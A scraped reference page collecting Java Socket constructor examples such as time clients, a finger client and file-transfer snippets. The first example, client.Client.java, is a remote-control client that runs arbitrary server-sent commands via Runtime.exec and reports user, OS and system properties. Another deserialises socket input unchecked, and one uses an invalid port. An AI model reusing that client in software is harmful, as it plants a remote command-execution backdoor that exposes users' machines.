Example usage for java.net Socket Socket

List of usage examples for java.net Socket Socket

Introduction

In this page you can find the example usage for java.net Socket Socket.

Prototype

public Socket(InetAddress address, int port) throws IOException 

Source Link

Document

Creates a stream socket and connects it to the specified port number at the specified IP address.

Usage

From source file:client.Client.java

/**
 * @param args the command line arguments
 *//*from   w w w .j  a  va  2 s  . com*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:CompRcv.java

public static void main(String[] args) throws Exception {
    Socket sock = new Socket(args[0], Integer.parseInt(args[1]));
    GZIPOutputStream zip = new GZIPOutputStream(sock.getOutputStream());
    String line;/*from  w w  w  .  j av a2s . c  o m*/
    BufferedReader bis = new BufferedReader(new FileReader(args[2]));
    while (true) {
        try {
            line = bis.readLine();
            if (line == null)
                break;
            line = line + "\n";
            zip.write(line.getBytes(), 0, line.length());
        } catch (Exception e) {
            break;
        }
    }
    zip.finish();
    zip.close();
    sock.close();
}

From source file:Who.java

public static void main(String[] v) {
    Socket s = null;/*from  w  w  w .ja  v  a2 s.c  o m*/
    PrintWriter out = null;
    BufferedReader in = null;
    try {
        // Connect to port 79 (the standard finger port) on the host.
        String hostname = "www.java2s.com";
        s = new Socket(hostname, 79);
        // Set up the streams
        out = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
        in = new BufferedReader(new InputStreamReader(s.getInputStream()));

        // Send a blank line to the finger server, telling it that we want
        // a listing of everyone logged on instead of information about an
        // individual user.
        out.print("\n");
        out.flush(); // Send it out

        // Now read the server's response
        // The server should send lines terminated with \n or \r.
        String line;
        while ((line = in.readLine()) != null) {
            System.out.println(line);
        }
        System.out.println("Who's Logged On: " + hostname);
    } catch (IOException e) {
        System.out.println("Who's Logged On: Error");
    }
    // Close the streams!
    finally {
        try {
            in.close();
            out.close();
            s.close();
        } catch (Exception e) {
        }
    }
}

From source file:ObjServer.java

public static void main(String[] args) throws Exception {
    Socket sock = new Socket(args[0], 1234);
    ObjectInputStream ois = new ObjectInputStream(sock.getInputStream());
    Hashtable hash = (Hashtable) ois.readObject();
    System.out.println(hash);/*w w  w  . j  a v  a 2s .  c om*/
    ois.close();
    sock.close();
}

From source file:SimpleSocketServer.java

public static void main(String args[]) throws Exception {
        Socket socket;/*  w w w.  j a v  a 2s .  c  o m*/
        int portNumber = 1777;
        String str = "";

        socket = new Socket(InetAddress.getLocalHost(), portNumber);

        ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
        str = (String) ois.readObject();
        System.out.println(str);
    }

From source file:Main.java

public static void main(String[] argv) throws Exception {
        Socket sock = new Socket("127.0.0.1", 123456);
        byte[] mybytearray = new byte[1024];
        InputStream is = sock.getInputStream();
        FileOutputStream fos = new FileOutputStream("s.pdf");
        BufferedOutputStream bos = new BufferedOutputStream(fos);
        int bytesRead = is.read(mybytearray, 0, mybytearray.length);
        bos.write(mybytearray, 0, bytesRead);
        bos.close();/*from   ww  w . j  av a  2  s .c  o  m*/
        sock.close();
    }

From source file:com.ccc.nhr.test1.NhrSocket.java

public static void main(String args[]) throws IOException, SQLException, ClassNotFoundException {

    final String host = "192.168.16.146";
    final int portNumber = 10010;

    System.out.println("Creating socket to '" + host + "' on port " + portNumber);
    Socket socket = new Socket(host, portNumber);

    final NhrDataService nhrConnection = new NhrConnectionBuilder(socket)
            .withInputBufferedReader(new BufferedReader(new InputStreamReader(socket.getInputStream())))
            .withDataInputStream(new DataInputStream(socket.getInputStream()))
            .withDataOutputStream(new DataOutputStream(socket.getOutputStream())).build();

    ReceiverThread receiverThread = new ReceiverThread();
    receiverThread.setNhrConnection(nhrConnection);
    receiverThread.start();/*  w ww. j  a v a 2 s. co m*/

    SenderThread senderThread = new SenderThread();
    senderThread.setNhrConnection(nhrConnection);
    senderThread.start();

}

From source file:SocketTest.java

public static void main(String[] args) {
    try {/*w  w  w  . j a va 2  s. co m*/
        Socket s = new Socket("time-A.timefreq.bldrdoc.gov", 13);
        try {
            InputStream inStream = s.getInputStream();
            Scanner in = new Scanner(inStream);

            while (in.hasNextLine()) {
                String line = in.nextLine();
                System.out.println(line);
            }
        } finally {
            s.close();
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
}

From source file:net.socket.bio.TimeClient.java

/**
 * @param args// ww  w. j a  v  a2 s.  c o m
 */
public static void main(String[] args) {

    int port = 8089;
    if (args != null && args.length > 0) {

        try {
            port = Integer.valueOf(args[0]);
        } catch (NumberFormatException e) {
            // 
        }

    }
    Socket socket = null;
    BufferedReader in = null;
    PrintWriter out = null;
    try {
        socket = new Socket("127.0.0.1", port);
        in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
        out = new PrintWriter(socket.getOutputStream(), true);
        out.println("QUERY TIME ORDER");
        out.println("QUERY TIME ORDER");
        String test = StringUtils.repeat("hello tcp", 1000);
        out.println(test);
        System.out.println("Send order 2 server succeed.");
        String resp = in.readLine();
        System.out.println("Now is : " + resp);
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        IOUtils.closeQuietly(out);
        IOUtils.closeQuietly(in);
        IOUtils.closeQuietly(socket);
    }
}

From source file:cloudclient.Client.java

public static void main(String[] args) throws Exception {
    //Command interpreter
    CommandLineInterface cmd = new CommandLineInterface(args);

    String socket = cmd.getOptionValue("s");
    String Host_IP = socket.split(":")[0];
    int Port = Integer.parseInt(socket.split(":")[1]);
    String workload = cmd.getOptionValue("w");

    try {//w w  w . j  av  a2 s. c om
        // make connection to server socket 
        Socket client = new Socket(Host_IP, Port);

        InputStream inStream = client.getInputStream();
        OutputStream outStream = client.getOutputStream();
        PrintWriter out = new PrintWriter(outStream, true);
        BufferedReader in = new BufferedReader(new InputStreamReader(inStream));

        System.out.println("Send tasks to server...");
        //Start clock
        long startTime = System.currentTimeMillis();

        //Batch sending tasks
        batchSendTask(out, workload);
        client.shutdownOutput();

        //Batch receive responses
        batchReceiveResp(in);

        //End clock
        long endTime = System.currentTimeMillis();
        double totalTime = (endTime - startTime) / 1e3;

        System.out.println("\nDone!");
        System.out.println("Time to execution = " + totalTime + " sec.");

        // close the socket connection
        client.close();

    } catch (IOException ioe) {
        System.err.println(ioe);
    }

}